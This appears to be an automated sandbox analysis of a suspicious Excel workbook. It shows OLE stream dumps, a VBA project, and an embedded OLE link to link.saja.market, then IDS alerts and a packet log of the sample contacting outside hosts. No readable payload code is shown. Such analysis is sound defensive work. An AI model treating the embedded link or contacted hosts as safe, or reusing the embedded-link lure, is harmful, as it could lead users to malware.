Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2920681057018664
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . m 6 ? ~ . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD004FA1DD/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD004FA1DD/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD004FA1DD/Package, File Type: Microsoft Excel 2007+, Stream Size: 904507

General
Stream Path:	MBD004FA1DD/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	904507
Entropy:	7.992292502985364
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . h . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 d5 68 cd d7 f9 01 00 00 da 08 00 00 13 00 c4 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 c0 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD004FA1DE/\x1Ole, File Type: data, Stream Size: 564

General
Stream Path:	MBD004FA1DE/\x1Ole
CLSID:
File Type:	data
Stream Size:	564
Entropy:	4.982836443340031
Base64 Encoded:	False
Data ASCII:	. . . . t . s [ v . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . l . i . n . k . . . s . a . j . a . . . m . a . r . k . e . t . / . Z . 8 . v . B . Z . k . X . t . l . w . ? . & . t . h . i . n . g . = . o . m . n . i . s . c . i . e . n . t . & . s . w . e . a . t . s . h . i . r . t . . . . & . y . ( h a U 4 . . . N z e 1 ' . ^ . a . N g G . d K . ( . ] 1 x = @ X 7 . < < P P ; . . . . . . . . . . . . . . . . . . . G . s . M . v . u . T . 4 . x . J . i . q . F . 8 . 8 .
Data Raw:	01 00 00 02 e1 d8 74 1b 73 a2 5b 76 00 00 00 00 00 00 00 00 00 00 00 00 de 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b da 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6c 00 69 00 6e 00 6b 00 2e 00 73 00 61 00 6a 00 61 00 2e 00 6d 00 61 00 72 00 6b 00 65 00 74 00 2f 00 5a 00 38 00 76 00 42 00 5a 00 6b 00 58 00 74 00 6c 00 77 00 3f 00 26 00 74 00 68 00 69 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 265433

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	265433
Entropy:	7.998342541005724
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . c . . > D = . . 8 { ( M s 1 N 4 . . b . . c \| g . w . . . . . . . . . . . . . . . \\ . p . ! l . . w D 6 B p & * 8 . f n . . 0 r . . e V . . + V { < } j + t r z . . . < Z > . . . . x z . ) Y G = t , V b . . Y B . . . a . . . . . . = . . . A . . . q P . ; . : . . . . . . . . . . . j 3 . . . . . . . . a _ . . . ( = . . . . . d \| @ X ( U ? @ . . . . . . , " . . . . . . . . G X . . . Z Y . . . O ' 1 . . . C s . A . . . . Y p D _ . N Z . 5 ] 1 . . . u . $
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 63 7f 03 a2 3e f4 44 f1 e9 3d 1e 04 b4 38 90 7b e6 28 4d 73 e6 31 bc e7 cb 4e 34 f0 0e d6 95 cd 62 aa d4 89 da 8e 9f e7 b5 63 7c 67 14 77 09 a4 87 00 00 00 e1 00 02 00 b0 04 c1 00 02 00 df 81 e2 00 00 00 5c 00 70 00 21 6c ea dd 83 80 b4 d1 10 77 44 e2 e4 36 ea 42 70 26 b7 db 2a 38 11 66 6e fc

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 531

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	531
Entropy:	5.266512041297275
Base64 Encoded:	True
Data ASCII:	I D = " { 8 7 7 0 C F C A - 7 C F 8 - 4 5 6 9 - 8 A 4 0 - 5 C 2 E 6 C 1 1 2 2 7 5 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " B 7 B 5 6 1 3 7 A 1 4 F 5 9 5 3 5
Data Raw:	49 44 3d 22 7b 38 37 37 30 43 46 43 41 2d 37 43 46 38 2d 34 35 36 39 2d 38 41 34 30 2d 35 43 32 45 36 43 31 31 32 32 37 35 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.9856458236428147
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.361069873011047
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . # . i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 23 08 e6 69 0d 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-10T09:13:39.957907+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49701	13.107.253.72	443	TCP
2025-03-10T09:13:48.103786+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49703	13.107.253.72	443	TCP
2025-03-10T09:13:48.152761+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49702	13.107.253.72	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 09:13:21.709000111 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:21.709079027 CET	443	49699	3.39.153.44	192.168.2.8
Mar 10, 2025 09:13:21.709182024 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:21.709399939 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:21.709415913 CET	443	49699	3.39.153.44	192.168.2.8
Mar 10, 2025 09:13:24.239737034 CET	443	49699	3.39.153.44	192.168.2.8
Mar 10, 2025 09:13:24.239873886 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:24.243849039 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:24.243865013 CET	443	49699	3.39.153.44	192.168.2.8
Mar 10, 2025 09:13:24.244148016 CET	443	49699	3.39.153.44	192.168.2.8
Mar 10, 2025 09:13:24.244327068 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:24.244724989 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:24.292320013 CET	443	49699	3.39.153.44	192.168.2.8
Mar 10, 2025 09:13:24.785619974 CET	443	49699	3.39.153.44	192.168.2.8
Mar 10, 2025 09:13:24.785695076 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:24.785706997 CET	443	49699	3.39.153.44	192.168.2.8
Mar 10, 2025 09:13:24.785834074 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:24.791400909 CET	49699	443	192.168.2.8	3.39.153.44
Mar 10, 2025 09:13:24.791415930 CET	443	49699	3.39.153.44	192.168.2.8
Mar 10, 2025 09:13:24.793653011 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:24.798860073 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:24.798994064 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:24.799276114 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:24.804359913 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.288918972 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.288930893 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.288940907 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.288950920 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.288960934 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.288969994 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.288980961 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.288989067 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:25.289002895 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.289026976 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.289046049 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.289087057 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:25.289087057 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:25.289087057 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:25.295218945 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.295231104 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.295243025 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.295252085 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.295283079 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:25.295340061 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:25.378551006 CET	80	49700	198.23.187.151	192.168.2.8
Mar 10, 2025 09:13:25.378650904 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:25.531502962 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:25.531539917 CET	49700	80	192.168.2.8	198.23.187.151
Mar 10, 2025 09:13:38.040005922 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:38.040052891 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:38.040147066 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:38.040473938 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:38.040487051 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:39.957824945 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:39.957906961 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:39.959752083 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:39.959777117 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:39.960207939 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:39.961659908 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.004334927 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.826554060 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.826581001 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.826597929 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.826669931 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.826694965 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.826719999 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.826745987 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.899446011 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.899473906 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.899557114 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.899588108 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.899679899 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.938909054 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.938936949 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.938980103 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.939007998 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.939044952 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.939136028 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.975353003 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.975379944 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.975490093 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.975523949 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.975657940 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.995688915 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.995713949 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.995757103 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.995788097 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:40.995803118 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:40.995898962 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.017021894 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.017040968 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.017106056 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.017138004 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.017606974 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.038100004 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.038120031 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.038232088 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.038270950 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.038367987 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.064271927 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.064296007 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.064373970 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.064393044 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.064634085 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.077786922 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.077805996 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.077881098 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.077919006 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.077936888 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.078000069 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.088455915 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.088469028 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.088536978 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.088567972 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.088582039 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.088936090 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.101829052 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.101844072 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.101900101 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.101929903 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.101984978 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.102416992 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.111325026 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.111351013 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.111433983 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.111433983 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.111445904 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.112588882 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.121252060 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.121272087 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.121398926 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.121419907 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.121491909 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.129548073 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.129566908 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.129626036 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.129636049 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.129803896 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.156434059 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.156460047 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.156507015 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.156526089 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.156575918 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.156575918 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.157919884 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.157938004 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.158016920 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.158024073 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.158054113 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.158293009 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.168167114 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.168196917 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.168256044 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.168282986 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.168329000 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.168852091 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.177937031 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.177963972 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.178023100 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.178047895 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.178514957 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.189857960 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.189886093 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.189932108 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.189956903 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.189994097 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.189994097 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.199343920 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.199362040 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.199423075 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.199449062 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.199609041 CET	49701	443	192.168.2.8	13.107.253.72
Mar 10, 2025 09:13:41.208952904 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.208981037 CET	443	49701	13.107.253.72	192.168.2.8
Mar 10, 2025 09:13:41.209041119 CET	49701	443	192.168.2.8	13.107.253.72
